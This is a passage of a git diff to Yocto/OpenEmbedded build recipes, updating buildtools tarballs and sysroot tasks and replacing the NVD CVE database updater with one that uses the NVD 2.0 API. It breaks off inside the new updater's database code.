-EXTRA_OECONF = "--without-debug --without-legacy --with-catalog --without-docbook --with-c14n --without-lzma --with-fexceptions"
-EXTRA_OECONF_class-native = "--without-legacy --without-docbook --with-c14n --without-lzma --with-zlib"
-EXTRA_OECONF_class-nativesdk = "--without-legacy --without-docbook --with-c14n --without-lzma --with-zlib"
-EXTRA_OECONF_linuxstdbase = "--with-debug --with-legacy --with-docbook --with-c14n --without-lzma --with-zlib"
-
-python populate_packages_prepend () {
- # autonamer would call this libxml2-2, but we don't want that
- if d.getVar('DEBIAN_NAMES'):
- d.setVar('PKG_libxml2', '${MLPREFIX}libxml2')
-}
-
-PACKAGE_BEFORE_PN += "${PN}-utils"
-PACKAGES += "${PN}-python"
-
-FILES_${PN}-staticdev += "${PYTHON_SITEPACKAGES_DIR}/*.a"
-FILES_${PN}-dev += "${libdir}/xml2Conf.sh ${libdir}/cmake/*"
-FILES_${PN}-utils = "${bindir}/*"
-FILES_${PN}-python = "${PYTHON_SITEPACKAGES_DIR}"
-
-do_configure_prepend () {
- # executables take longer to package: these should not be executable
- find ${S}/xmlconf/ -type f -exec chmod -x {} \+
-}
-
-do_compile_ptest() {
- oe_runmake check-am
-}
-
-do_install_ptest () {
- cp -r ${S}/xmlconf ${D}${PTEST_PATH}
- if [ "${@bb.utils.filter('PACKAGECONFIG', 'python', d)}" ]; then
- sed -i -e 's|^\(PYTHON = \).*|\1${USRBINPATH}/${PYTHON_PN}|' \
- ${D}${PTEST_PATH}/python/tests/Makefile
- grep -lrZ '#!/usr/bin/python' ${D}${PTEST_PATH}/python |
- xargs -0 sed -i -e 's|/usr/bin/python|${USRBINPATH}/${PYTHON_PN}|'
- fi
- #Remove build host references from various Makefiles
- find "${D}${PTEST_PATH}" -name Makefile -type f -exec \
- sed -i \
- -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- -e 's:${HOSTTOOLS_DIR}/::g' \
- -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
- -e 's:${RECIPE_SYSROOT}::g' \
- -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
- -e '/^RELDATE/d' \
- {} +
-}
-
-do_install_append_class-native () {
- # Docs are not needed in the native case
- rm ${D}${datadir}/gtk-doc -rf
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-core/meta/build-sysroots.bb b/meta/recipes-core/meta/build-sysroots.bb
index ad22a75eb2..db05c111ab 100644
--- a/meta/recipes-core/meta/build-sysroots.bb
+++ b/meta/recipes-core/meta/build-sysroots.bb
@@ -1,5 +1,6 @@
-INHIBIT_DEFAULT_DEPS = "1"
LICENSE = "MIT"
+SUMMARY = "Build old style sysroot based on everything in the components directory that matches the current MACHINE"
+INHIBIT_DEFAULT_DEPS = "1"
STANDALONE_SYSROOT = "${STAGING_DIR}/${MACHINE}"
STANDALONE_SYSROOT_NATIVE = "${STAGING_DIR}/${BUILD_ARCH}"
@@ -16,6 +17,18 @@ deltask configure
deltask compile
deltask install
deltask populate_sysroot
+deltask create_spdx
+deltask collect_spdx_deps
+deltask create_runtime_spdx
+deltask recipe_qa
+
+do_build_warn () {
+ bbwarn "Native or target sysroot population needs to be explicitly selected; please use
+bitbake -c build_native_sysroot build-sysroots
+bitbake -c build_target_sysroot build-sysroots
+or both."
+}
+addtask do_build_warn before do_build
python do_build_native_sysroot () {
targetsysroot = d.getVar("STANDALONE_SYSROOT")
@@ -26,7 +39,7 @@ python do_build_native_sysroot () {
}
do_build_native_sysroot[cleandirs] = "${STANDALONE_SYSROOT_NATIVE}"
do_build_native_sysroot[nostamp] = "1"
-addtask do_build_native_sysroot before do_build
+addtask do_build_native_sysroot
python do_build_target_sysroot () {
targetsysroot = d.getVar("STANDALONE_SYSROOT")
@@ -37,6 +50,6 @@ python do_build_target_sysroot () {
}
do_build_target_sysroot[cleandirs] = "${STANDALONE_SYSROOT}"
do_build_target_sysroot[nostamp] = "1"
-addtask do_build_target_sysroot before do_build
+addtask do_build_target_sysroot
do_clean[cleandirs] += "${STANDALONE_SYSROOT} ${STANDALONE_SYSROOT_NATIVE}"
diff --git a/meta/recipes-core/meta/buildtools-docs-tarball.bb b/meta/recipes-core/meta/buildtools-docs-tarball.bb
new file mode 100644
index 0000000000..72648e3b1c
--- /dev/null
+++ b/meta/recipes-core/meta/buildtools-docs-tarball.bb
@@ -0,0 +1,18 @@
+require recipes-core/meta/buildtools-tarball.bb
+
+DESCRIPTION = "SDK type target for building a standalone tarball containing the tools needed to build the project docs."
+SUMMARY = "SDK type target for building a standalone tarball containing the tools needed to build the project docs."
+LICENSE = "MIT"
+
+# Add nativesdk equivalent of build-essentials
+TOOLCHAIN_HOST_TASK += "\
+ nativesdk-python3-sphinx \
+ nativesdk-python3-sphinx-rtd-theme \
+ nativesdk-python3-pyyaml \
+ "
+
+TOOLCHAIN_OUTPUTNAME = "${SDK_ARCH}-buildtools-docs-nativesdk-standalone-${DISTRO_VERSION}"
+
+SDK_TITLE = "Docs Build tools tarball"
+
+TESTSDK_CASES = "buildtools-docs-cases"
diff --git a/meta/recipes-core/meta/buildtools-extended-tarball.bb b/meta/recipes-core/meta/buildtools-extended-tarball.bb
index c32d0107c3..633f8e6b99 100644
--- a/meta/recipes-core/meta/buildtools-extended-tarball.bb
+++ b/meta/recipes-core/meta/buildtools-extended-tarball.bb
@@ -28,8 +28,13 @@ TOOLCHAIN_HOST_TASK += "\
nativesdk-libtool \
nativesdk-pkgconfig \
nativesdk-glibc-utils \
+ nativesdk-glibc-gconvs \
nativesdk-libxcrypt-dev \
+ nativesdk-parted \
+ nativesdk-dosfstools \
+ nativesdk-gptfdisk \
"
+# gconvs needed for iconv to work in vim builds
TOOLCHAIN_OUTPUTNAME = "${SDK_ARCH}-buildtools-extended-nativesdk-standalone-${DISTRO_VERSION}"
diff --git a/meta/recipes-core/meta/buildtools-make-tarball.bb b/meta/recipes-core/meta/buildtools-make-tarball.bb
new file mode 100644
index 0000000000..3a9659076f
--- /dev/null
+++ b/meta/recipes-core/meta/buildtools-make-tarball.bb
@@ -0,0 +1,15 @@
+require recipes-core/meta/buildtools-tarball.bb
+
+DESCRIPTION = "SDK type target for building a standalone make binary. The tarball can be used to run bitbake builds \
+ on systems where make is broken (e.g. the 4.2.1 version on CentOS 8 based distros)."
+SUMMARY = "Standalone tarball for running builds on systems with inadequate make"
+LICENSE = "MIT"
+
+# Add nativesdk equivalent of build-essentials
+TOOLCHAIN_HOST_TASK = "\
+ nativesdk-sdk-provides-dummy \
+ nativesdk-make \
+ "
+TOOLCHAIN_OUTPUTNAME = "${SDK_ARCH}-buildtools-make-nativesdk-standalone-${DISTRO_VERSION}"
+
+SDK_TITLE = "Make build tool"
diff --git a/meta/recipes-core/meta/buildtools-tarball.bb b/meta/recipes-core/meta/buildtools-tarball.bb
index 3785941c2c..92fbda335d 100644
--- a/meta/recipes-core/meta/buildtools-tarball.bb
+++ b/meta/recipes-core/meta/buildtools-tarball.bb
@@ -6,12 +6,16 @@ LICENSE = "MIT"
TOOLCHAIN_TARGET_TASK ?= ""
TOOLCHAIN_HOST_TASK ?= "\
- nativesdk-python3-core \
- nativesdk-python3-modules \
- nativesdk-python3-misc \
+ nativesdk-sdk-provides-dummy \
+ nativesdk-python3 \
nativesdk-python3-git \
+ nativesdk-python3-jinja2 \
nativesdk-python3-testtools \
+ nativesdk-python3-pip \
+ nativesdk-python3-setuptools \
nativesdk-python3-subunit \
+ nativesdk-python3-pyyaml \
+ nativesdk-python3-websockets \
nativesdk-ncurses-terminfo-base \
nativesdk-chrpath \
nativesdk-tar \
@@ -27,6 +31,9 @@ TOOLCHAIN_HOST_TASK ?= "\
nativesdk-rpcsvc-proto \
nativesdk-patch \
nativesdk-mtools \
+ nativesdk-zstd \
+ nativesdk-lz4 \
+ nativesdk-libacl \
"
MULTIMACH_TARGET_SYS = "${SDK_ARCH}-nativesdk${SDK_VENDOR}-${SDK_OS}"
@@ -45,7 +52,6 @@ RDEPENDS = "${TOOLCHAIN_HOST_TASK}"
EXCLUDE_FROM_WORLD = "1"
-inherit meta
inherit populate_sdk
inherit toolchain-scripts-base
inherit nopackages
@@ -57,7 +63,7 @@ do_populate_sdk[stamp-extra-info] = "${PACKAGE_ARCH}"
REAL_MULTIMACH_TARGET_SYS = "none"
-create_sdk_files_append () {
+create_sdk_files:append () {
rm -f ${SDK_OUTPUT}/${SDKPATH}/site-config-*
rm -f ${SDK_OUTPUT}/${SDKPATH}/environment-setup-*
rm -f ${SDK_OUTPUT}/${SDKPATH}/version-*
@@ -65,10 +71,17 @@ create_sdk_files_append () {
# Generate new (mini) sdk-environment-setup file
script=${1:-${SDK_OUTPUT}/${SDKPATH}/environment-setup-${SDK_SYS}}
touch $script
- echo 'export PATH=${SDKPATHNATIVE}${bindir_nativesdk}:$PATH' >> $script
+ echo 'export PATH="${SDKPATHNATIVE}${bindir_nativesdk}:${SDKPATHNATIVE}${sbindir_nativesdk}:${SDKPATHNATIVE}${base_bindir_nativesdk}:${SDKPATHNATIVE}${base_sbindir_nativesdk}:$PATH"' >> $script
echo 'export OECORE_NATIVE_SYSROOT="${SDKPATHNATIVE}"' >> $script
- echo 'export GIT_SSL_CAINFO="${SDKPATHNATIVE}${sysconfdir}/ssl/certs/ca-certificates.crt"' >>$script
- echo 'export SSL_CERT_FILE="${SDKPATHNATIVE}${sysconfdir}/ssl/certs/ca-certificates.crt"' >>$script
+ if [ -e "${SDK_OUTPUT}${SDKPATHNATIVE}${sysconfdir}/ssl/certs/ca-certificates.crt" ]; then
+ echo 'export GIT_SSL_CAINFO="${SDKPATHNATIVE}${sysconfdir}/ssl/certs/ca-certificates.crt"' >>$script
+ echo 'export SSL_CERT_FILE="${SDKPATHNATIVE}${sysconfdir}/ssl/certs/ca-certificates.crt"' >>$script
+ echo 'export REQUESTS_CA_BUNDLE="${SDKPATHNATIVE}${sysconfdir}/ssl/certs/ca-certificates.crt"' >>$script
+ echo 'export CURL_CA_BUNDLE="${SDKPATHNATIVE}${sysconfdir}/ssl/certs/ca-certificates.crt"' >>$script
+ fi
+ echo 'HOST_PKG_PATH=$(command -p pkg-config --variable=pc_path pkg-config 2>/dev/null)' >>$script
+ echo 'export PKG_CONFIG_LIBDIR=${SDKPATHNATIVE}/${libdir}/pkgconfig:${SDKPATHNATIVE}/${datadir}/pkgconfig:${HOST_PKG_PATH:-/usr/lib/pkgconfig:/usr/share/pkgconfig}' >>$script
+ echo 'unset HOST_PKG_PATH'
toolchain_create_sdk_version ${SDK_OUTPUT}/${SDKPATH}/version-${SDK_SYS}
@@ -78,12 +91,15 @@ if [ -d "\$OECORE_NATIVE_SYSROOT/environment-setup.d" ]; then
. \$envfile
done
fi
+# We have to unset this else it can confuse oe-selftest and other tools
+# which may also use the overlapping namespace.
+unset OECORE_NATIVE_SYSROOT
EOF
if [ "${SDKMACHINE}" = "i686" ]; then
echo 'export NO32LIBS="0"' >>$script
- echo 'echo "$BB_ENV_EXTRAWHITE" | grep -q "NO32LIBS"' >>$script
- echo '[ $? != 0 ] && export BB_ENV_EXTRAWHITE="NO32LIBS $BB_ENV_EXTRAWHITE"' >>$script
+ echo 'echo "$BB_ENV_PASSTHROUGH_ADDITIONS" | grep -q "NO32LIBS"' >>$script
+ echo '[ $? != 0 ] && export BB_ENV_PASSTHROUGH_ADDITIONS="NO32LIBS $BB_ENV_PASSTHROUGH_ADDITIONS"' >>$script
fi
}
@@ -92,3 +108,20 @@ TOOLCHAIN_NEED_CONFIGSITE_CACHE = ""
# The recipe doesn't need any default deps
INHIBIT_DEFAULT_DEPS = "1"
+
+# Directory in testsdk that contains testcases
+TESTSDK_CASES = "buildtools-cases"
+
+python do_testsdk() {
+ import oeqa.sdk.testsdk
+ testsdk = oeqa.sdk.testsdk.TestSDK()
+
+ cases_path = os.path.join(os.path.abspath(os.path.dirname(oeqa.sdk.testsdk.__file__)), d.getVar("TESTSDK_CASES"))
+ testsdk.context_executor_class.default_cases = cases_path
+
+ testsdk.run(d)
+}
+addtask testsdk
+do_testsdk[nostamp] = "1"
+do_testsdk[network] = "1"
+do_testsdk[depends] += "xz-native:do_populate_sysroot"
diff --git a/meta/recipes-core/meta/cve-update-db-native.bb b/meta/recipes-core/meta/cve-update-db-native.bb
deleted file mode 100644
index 32d6dbdffc..0000000000
--- a/meta/recipes-core/meta/cve-update-db-native.bb
+++ /dev/null
@@ -1,206 +0,0 @@
-SUMMARY = "Updates the NVD CVE database"
-LICENSE = "MIT"
-
-INHIBIT_DEFAULT_DEPS = "1"
-
-inherit native
-
-deltask do_unpack
-deltask do_patch
-deltask do_configure
-deltask do_compile
-deltask do_install
-deltask do_populate_sysroot
-
-python () {
- cve_check_db_file = d.getVar("CVE_CHECK_DB_FILE")
- if not cve_check_db_file:
- raise bb.parse.SkipRecipe("Skip recipe when cve-check class is not loaded.")
-
- if os.path.exists("%s-journal" % cve_check_db_file ):
- os.remove("%s-journal" % cve_check_db_file)
-
- if os.path.exists(cve_check_db_file):
- os.remove(cve_check_db_file)
-}
-
-python do_populate_cve_db() {
- """
- Update NVD database with json data feed
- """
- import bb.utils
- import sqlite3, urllib, urllib.parse, shutil, gzip
- from datetime import date
-
- bb.utils.export_proxies(d)
-
- BASE_URL = "https://nvd.nist.gov/feeds/json/cve/1.1/nvdcve-1.1-"
- YEAR_START = 2002
-
- db_file = d.getVar("CVE_CHECK_DB_FILE")
- db_dir = os.path.dirname(db_file)
- json_tmpfile = os.path.join(db_dir, 'nvd.json.gz')
-
- # Don't refresh the database more than once an hour
- try:
- import time
- if time.time() - os.path.getmtime(db_file) < (60*60):
- return
- except OSError:
- pass
-
- cve_f = open(os.path.join(d.getVar("TMPDIR"), 'cve_check'), 'a')
-
- if not os.path.isdir(db_dir):
- os.mkdir(db_dir)
-
- # Connect to database
- conn = sqlite3.connect(db_file)
- c = conn.cursor()
-
- initialize_db(c)
-
- for year in range(YEAR_START, date.today().year + 1):
- year_url = BASE_URL + str(year)
- meta_url = year_url + ".meta"
- json_url = year_url + ".json.gz"
-
- # Retrieve meta last modified date
- try:
- response = urllib.request.urlopen(meta_url)
- except urllib.error.URLError as e:
- cve_f.write('Warning: CVE db update error, Unable to fetch CVE data.\n\n')
- bb.warn("Failed to fetch CVE data (%s)" % e.reason)
- return
-
- if response:
- for l in response.read().decode("utf-8").splitlines():
- key, value = l.split(":", 1)
- if key == "lastModifiedDate":
- last_modified = value
- break
- else:
- bb.warn("Cannot parse CVE metadata, update failed")
- return
-
- # Compare with current db last modified date
- c.execute("select DATE from META where YEAR = ?", (year,))
- meta = c.fetchone()
- if not meta or meta[0] != last_modified:
- # Clear products table entries corresponding to current year
- c.execute("delete from PRODUCTS where ID like ?", ('CVE-%d%%' % year,))
-
- # Update db with current year json file
- try:
- response = urllib.request.urlopen(json_url)
- if response:
- update_db(c, gzip.decompress(response.read()).decode('utf-8'))
- c.execute("insert or replace into META values (?, ?)", [year, last_modified])
- except urllib.error.URLError as e:
- cve_f.write('Warning: CVE db update error, CVE data is outdated.\n\n')
- bb.warn("Cannot parse CVE data (%s), update failed" % e.reason)
- return
-
- # Update success, set the date to cve_check file.
- if year == date.today().year:
- cve_f.write('CVE database update : %s\n\n' % date.today())
-
- cve_f.close()
- conn.commit()
- conn.close()
-}
-
-def initialize_db(c):
- c.execute("CREATE TABLE IF NOT EXISTS META (YEAR INTEGER UNIQUE, DATE TEXT)")
-
- c.execute("CREATE TABLE IF NOT EXISTS NVD (ID TEXT UNIQUE, SUMMARY TEXT, \
- SCOREV2 TEXT, SCOREV3 TEXT, MODIFIED INTEGER, VECTOR TEXT)")
-
- c.execute("CREATE TABLE IF NOT EXISTS PRODUCTS (ID TEXT, \
- VENDOR TEXT, PRODUCT TEXT, VERSION_START TEXT, OPERATOR_START TEXT, \
- VERSION_END TEXT, OPERATOR_END TEXT)")
- c.execute("CREATE INDEX IF NOT EXISTS PRODUCT_ID_IDX on PRODUCTS(ID);")
-
-def parse_node_and_insert(c, node, cveId):
- # Parse children node if needed
- for child in node.get('children', ()):
- parse_node_and_insert(c, child, cveId)
-
- def cpe_generator():
- for cpe in node.get('cpe_match', ()):
- if not cpe['vulnerable']:
- return
- cpe23 = cpe['cpe23Uri'].split(':')
- vendor = cpe23[3]
- product = cpe23[4]
- version = cpe23[5]
-
- if version != '*' and version != '-':
- # Version is defined, this is a '=' match
- yield [cveId, vendor, product, version, '=', '', '']
- elif version == '-':
- # no version information is available
- yield [cveId, vendor, product, version, '', '', '']
- else:
- # Parse start version, end version and operators
- op_start = ''
- op_end = ''
- v_start = ''
- v_end = ''
-
- if 'versionStartIncluding' in cpe:
- op_start = '>='
- v_start = cpe['versionStartIncluding']
-
- if 'versionStartExcluding' in cpe:
- op_start = '>'
- v_start = cpe['versionStartExcluding']
-
- if 'versionEndIncluding' in cpe:
- op_end = '<='
- v_end = cpe['versionEndIncluding']
-
- if 'versionEndExcluding' in cpe:
- op_end = '<'
- v_end = cpe['versionEndExcluding']
-
- yield [cveId, vendor, product, v_start, op_start, v_end, op_end]
-
- c.executemany("insert into PRODUCTS values (?, ?, ?, ?, ?, ?, ?)", cpe_generator())
-
-def update_db(c, jsondata):
- import json
- root = json.loads(jsondata)
-
- for elt in root['CVE_Items']:
- if not elt['impact']:
- continue
-
- accessVector = None
- cveId = elt['cve']['CVE_data_meta']['ID']
- cveDesc = elt['cve']['description']['description_data'][0]['value']
- date = elt['lastModifiedDate']
- try:
- accessVector = elt['impact']['baseMetricV2']['cvssV2']['accessVector']
- cvssv2 = elt['impact']['baseMetricV2']['cvssV2']['baseScore']
- except KeyError:
- cvssv2 = 0.0
- try:
- accessVector = accessVector or elt['impact']['baseMetricV3']['cvssV3']['attackVector']
- cvssv3 = elt['impact']['baseMetricV3']['cvssV3']['baseScore']
- except KeyError:
- accessVector = accessVector or "UNKNOWN"
- cvssv3 = 0.0
-
- c.execute("insert or replace into NVD values (?, ?, ?, ?, ?, ?)",
- [cveId, cveDesc, cvssv2, cvssv3, date, accessVector])
-
- configurations = elt['configurations']['nodes']
- for config in configurations:
- parse_node_and_insert(c, config, cveId)
-
-
-addtask do_populate_cve_db before do_fetch
-do_populate_cve_db[nostamp] = "1"
-
-EXCLUDE_FROM_WORLD = "1"
diff --git a/meta/recipes-core/meta/cve-update-nvd2-native.bb b/meta/recipes-core/meta/cve-update-nvd2-native.bb
new file mode 100644
index 0000000000..1901641965
--- /dev/null
+++ b/meta/recipes-core/meta/cve-update-nvd2-native.bb
@@ -0,0 +1,377 @@
+SUMMARY = "Updates the NVD CVE database"
+LICENSE = "MIT"
+
+# Important note:
+# This product uses the NVD API but is not endorsed or certified by the NVD.
+
+INHIBIT_DEFAULT_DEPS = "1"
+
+inherit native
+
+deltask do_unpack
+deltask do_patch
+deltask do_configure
+deltask do_compile
+deltask do_install
+deltask do_populate_sysroot
+
+NVDCVE_URL ?= "https://services.nvd.nist.gov/rest/json/cves/2.0"
+
+# If you have a NVD API key (https://nvd.nist.gov/developers/request-an-api-key)
+# then setting this to get higher rate limits.
+NVDCVE_API_KEY ?= ""
+
+# CVE database update interval, in seconds. By default: once a day (24*60*60).
+# Use 0 to force the update
+# Use a negative value to skip the update
+CVE_DB_UPDATE_INTERVAL ?= "86400"
+
+# CVE database incremental update age threshold, in seconds. If the database is
+# older than this threshold, do a full re-download, else, do an incremental
+# update. By default: the maximum allowed value from NVD: 120 days (120*24*60*60)
+# Use 0 to force a full download.
+CVE_DB_INCR_UPDATE_AGE_THRES ?= "10368000"
+
+# Number of attempts for each http query to nvd server before giving up
+CVE_DB_UPDATE_ATTEMPTS ?= "5"
+
+CVE_DB_TEMP_FILE ?= "${CVE_CHECK_DB_DIR}/temp_nvdcve_2.db"
+
+python () {
+ if not bb.data.inherits_class("cve-check", d):
+ raise bb.parse.SkipRecipe("Skip recipe when cve-check class is not loaded.")
+}
+
+python do_fetch() {
+ """
+ Update NVD database with API 2.0
+ """
+ import bb.utils
+ import bb.progress
+ import shutil
+
+ bb.utils.export_proxies(d)
+
+ db_file = d.getVar("CVE_CHECK_DB_FILE")
+ db_dir = os.path.dirname(db_file)
+ db_tmp_file = d.getVar("CVE_DB_TEMP_FILE")
+
+ cleanup_db_download(db_file, db_tmp_file)
+ # By default let's update the whole database (since time 0)
+ database_time = 0
+
+ # The NVD database changes once a day, so no need to update more frequently
+ # Allow the user to force-update
+ try:
+ import time
+ update_interval = int(d.getVar("CVE_DB_UPDATE_INTERVAL"))
+ if update_interval < 0:
+ bb.note("CVE database update skipped")
+ return
+ if time.time() - os.path.getmtime(db_file) < update_interval:
+ bb.note("CVE database recently updated, skipping")
+ return
+ database_time = os.path.getmtime(db_file)
+
+ except OSError:
+ pass
+
+ bb.utils.mkdirhier(db_dir)
+ if os.path.exists(db_file):
+ shutil.copy2(db_file, db_tmp_file)
+
+ if update_db_file(db_tmp_file, d, database_time) == True:
+ # Update downloaded correctly, can swap files
+ shutil.move(db_tmp_file, db_file)
+ else:
+ # Update failed, do not modify the database
+ bb.warn("CVE database update failed")
+ os.remove(db_tmp_file)
+}
+
+do_fetch[lockfiles] += "${CVE_CHECK_DB_FILE_LOCK}"
+do_fetch[file-checksums] = ""
+do_fetch[vardeps] = ""
+
+def cleanup_db_download(db_file, db_tmp_file):
+ """
+ Cleanup the download space from possible failed downloads
+ """
+
+ # Clean up the updates done on the main file
+ # Remove it only if a journal file exists - it means a complete re-download
+ if os.path.exists("{0}-journal".format(db_file)):
+ # If a journal is present the last update might have been interrupted. In that case,
+ # just wipe any leftovers and force the DB to be recreated.
+ os.remove("{0}-journal".format(db_file))
+
+ if os.path.exists(db_file):
+ os.remove(db_file)
+
+ # Clean-up the temporary file downloads, we can remove both journal
+ # and the temporary database
+ if os.path.exists("{0}-journal".format(db_tmp_file)):
+ # If a journal is present the last update might have been interrupted. In that case,
+ # just wipe any leftovers and force the DB to be recreated.
+ os.remove("{0}-journal".format(db_tmp_file))
+
+ if os.path.exists(db_tmp_file):
+ os.remove(db_tmp_file)
+
+def nvd_request_wait(attempt, min_wait):
+ return min ( ( (2 * attempt) + min_wait ) , 30)
+
+def nvd_request_next(url, attempts, api_key, args, min_wait):
+ """
+ Request next part of the NVD database
+ NVD API documentation: https://nvd.nist.gov/developers/vulnerabilities
+ """
+
+ import urllib.request
+ import urllib.parse
+ import gzip
+ import http
+ import time
+
+ request = urllib.request.Request(url + "?" + urllib.parse.urlencode(args))
+ if api_key:
+ request.add_header("apiKey", api_key)
+ bb.note("Requesting %s" % request.full_url)
+
+ for attempt in range(attempts):
+ try:
+ r = urllib.request.urlopen(request)
+
+ if (r.headers['content-encoding'] == 'gzip'):
+ buf = r.read()
+ raw_data = gzip.decompress(buf)
+ else:
+ raw_data = r.read().decode("utf-8")
+
+ r.close()
+
+ except Exception as e:
+ wait_time = nvd_request_wait(attempt, min_wait)
+ bb.note("CVE database: received error (%s)" % (e))
+ bb.note("CVE database: retrying download after %d seconds. attempted (%d/%d)" % (wait_time, attempt+1, attempts))
+ time.sleep(wait_time)
+ pass
+ else:
+ return raw_data
+ else:
+ # We failed at all attempts
+ return None
+
+def update_db_file(db_tmp_file, d, database_time):
+ """
+ Update the given database file
+ """
+ import bb.utils, bb.progress
+ import datetime
+ import sqlite3
+ import json
+
+ # Connect to database
+ conn = sqlite3.connect(db_tmp_file)
+ initialize_db(conn)
+
+ req_args = {'startIndex' : 0}
+
+ incr_update_threshold = int(d.getVar("CVE_DB_INCR_UPDATE_AGE_THRES"))
+ if database_time != 0:
+ database_date = datetime.datetime.fromtimestamp(database_time, tz=datetime.timezone.utc)
+ today_date = datetime.datetime.now(tz=datetime.timezone.utc)
+ delta = today_date - database_date
+ if incr_update_threshold == 0:
+ bb.note("CVE database: forced full update")
+ elif delta < datetime.timedelta(seconds=incr_update_threshold):
+ bb.note("CVE database: performing partial update")
+ # The maximum range for time is 120 days
+ if delta > datetime.timedelta(days=120):
+ bb.error("CVE database: Trying to do an incremental update on a larger than supported range")
+ req_args['lastModStartDate'] = database_date.isoformat()
+ req_args['lastModEndDate'] = today_date.isoformat()
+ else:
+ bb.note("CVE database: file too old, forcing a full update")
+ else:
+ bb.note("CVE database: no preexisting database, do a full download")
+
+ with bb.progress.ProgressHandler(d) as ph, open(os.path.join(d.getVar("TMPDIR"), 'cve_check'), 'a') as cve_f:
+
+ bb.note("Updating entries")
+ index = 0
+ url = d.getVar("NVDCVE_URL")
+ api_key = d.getVar("NVDCVE_API_KEY") or None
+ attempts = int(d.getVar("CVE_DB_UPDATE_ATTEMPTS"))
+
+ # Recommended by NVD
+ wait_time = 6
+ if api_key:
+ wait_time = 2
+
+ while True:
+ req_args['startIndex'] = index
+ raw_data = nvd_request_next(url, attempts, api_key, req_args, wait_time)
+ if raw_data is None:
+ # We haven't managed to download data
+ return False
+
+ data = json.loads(raw_data)
+
+ index = data["startIndex"]
+ total = data["totalResults"]
+ per_page = data["resultsPerPage"]
+ bb.note("Got %d entries" % per_page)
+ for cve in data["vulnerabilities"]:
+ update_db(conn, cve)
+
+ index += per_page
+ ph.update((float(index) / (total+1)) * 100)
+ if index >= total:
+ break
+
+ # Recommended by NVD
+ time.sleep(wait_time)
+
+ # Update success, set the date to cve_check file.
+ cve_f.write('CVE database update : %s\n\n' % datetime.date.today())
+
+ conn.commit()
+ conn.close()
+ return True
+
+def initialize_db(conn):
+ with conn:
+ c = conn.cursor()
+
+ c.execute("CREATE TABLE IF NOT EXISTS META (YEAR INTEGER UNIQUE, DATE TEXT)")
+
+ c.execute("CREATE TABLE IF NOT EXISTS NVD (ID TEXT UNIQUE, SUMMARY TEXT, \
+ SCOREV2 TEXT, SCOREV3 TEXT, MODIFIED INTEGER, VECTOR TEXT, VECTORSTRING TEXT)")
+
+ c.execute("CREATE TABLE IF NOT EXISTS PRODUCTS (ID TEXT, \
+ VENDOR TEXT, PRODUCT TEXT, VERSION_START TEXT, OPERATOR_START TEXT, \
+ VERSION_END TEXT, OPERATOR_END TEXT)")
+ c.execute("CREATE INDEX IF NOT EXISTS PRODUCT_ID_IDX on PRODUCTS(ID);")
+
+ c.close()
+
+def parse_node_and_insert(conn, node, cveId):
+
+ def cpe_generator():
+ for cpe in node.get('cpeMatch', ()):
+ if not cpe['vulnerable']:
+ return
+ cpe23 = cpe.get('criteria')
+ if not cpe23:
+ return
+ cpe23 = cpe23.split(':')
+ if len(cpe23) < 6:
+ return
+ vendor = cpe23[3]
+ product = cpe23[4]
+ version = cpe23[5]
+
+ if cpe23[6] == '*' or cpe23[6] == '-':
+ version_suffix = ""
+ else:
+ version_suffix = "_" + cpe23[6]
+
+ if version != '*' and version != '-':
+ # Version is defined, this is a '=' match
+ yield [cveId, vendor, product, version + version_suffix, '=', '', '']
+ elif version == '-':
+ # no version information is available
+ yield [cveId, vendor, product, version, '', '', '']
+ else:
+ # Parse start version, end version and operators
+ op_start = ''
+ op_end = ''
+ v_start = ''
+ v_end = ''
+
+ if 'versionStartIncluding' in cpe:
+ op_start = '>='
+ v_start = cpe['versionStartIncluding']
+
+ if 'versionStartExcluding' in cpe:
+ op_start = '>'
+ v_start = cpe['versionStartExcluding']
+
+ if 'versionEndIncluding' in cpe:
+ op_end = '<='
+ v_end = cpe['versionEndIncluding']
+
+ if 'versionEndExcluding' in cpe:
+ op_end = '<'
+ v_end = cpe['versionEndExcluding']
+
+ if op_start or op_end or v_start or v_end:
+ yield [cveId, vendor, product, v_start, op_start, v_end, op_end]
+ else:
+ # This is no version information, expressed differently.
+ # Save processing by representing as -.
+ yield [cveId, vendor, product, '-', '', '', '']
+
+ conn.executemany("insert into PRODUCTS values (?, ?, ?, ?, ?, ?, ?)", cpe_generator()).close()
+
+def update_db(conn, elt):
+ """
+ Update a single entry in the on-disk database
+ """
+
+ accessVector = None
+ vectorString = None
+ cveId = elt['cve']['id']
+ if elt['cve']['vulnStatus'] == "Rejected":
+ c = conn.cursor()
+ c.execute("delete from PRODUCTS where ID = ?;", [cveId])
+ c.execute("delete from NVD where ID = ?;", [cveId])
+ c.close()
+ return
+ cveDesc = ""
+ for desc in elt['cve']['descriptions']:
+ if desc['lang'] == 'en':
+ cveDesc = desc['value']
+ date = elt['cve']['lastModified']
+ try:
+ accessVector = elt['cve']['metrics']['cvssMetricV2'][0]['cvssData']['accessVector']
+ vectorString = elt['cve']['metrics']['cvssMetricV2'][0]['cvssData']['vectorString']
+ cvssv2 = elt['cve']['metrics']['cvssMetricV2'][0]['cvssData']['baseScore']
+ except KeyError:
+ cvssv2 = 0.0
+ cvssv3 = None
+ try:
+ accessVector = accessVector or elt['cve']['metrics']['cvssMetricV30'][0]['cvssData']['attackVector']
+ vectorString = vectorString or elt['cve']['metrics']['cvssMetricV30'][0]['cvssData']['vectorString']
+ cvssv3 = elt['cve']['metrics']['cvssMetricV30'][0]['cvssData']['baseScore']
+ except KeyError:
+ pass
+ try:
+ accessVector = accessVector or elt['cve']['metrics']['cvssMetricV31'][0]['cvssData']['attackVector']
+ vectorString = vectorString or elt['cve']['metrics']['cvssMetricV31'][0]['cvssData']['vectorString']
+ cvssv3 = cvssv3 or elt['cve']['metrics']['cvssMetricV31'][0]['cvssData']['baseScore']
+ except KeyError:
+ pass
+ accessVector = accessVector or "UNKNOWN"
+ vectorString = vectorString or "UNKNOWN"
+ cvssv3 = cvssv3 or 0.0
+
+ conn.execute("insert or replace into NVD values (?, ?, ?, ?, ?, ?, ?)",
+ [cveId, cveDesc, cvssv2, cvssv3, date, accessVector, vectorString]).close()
+
+ try:
+ # Remove any pre-existing CVE configuration. Even for partial database
+ # update, those will be repopulated. This ensures that old
+ # configuration is not kept for an updated CVE.
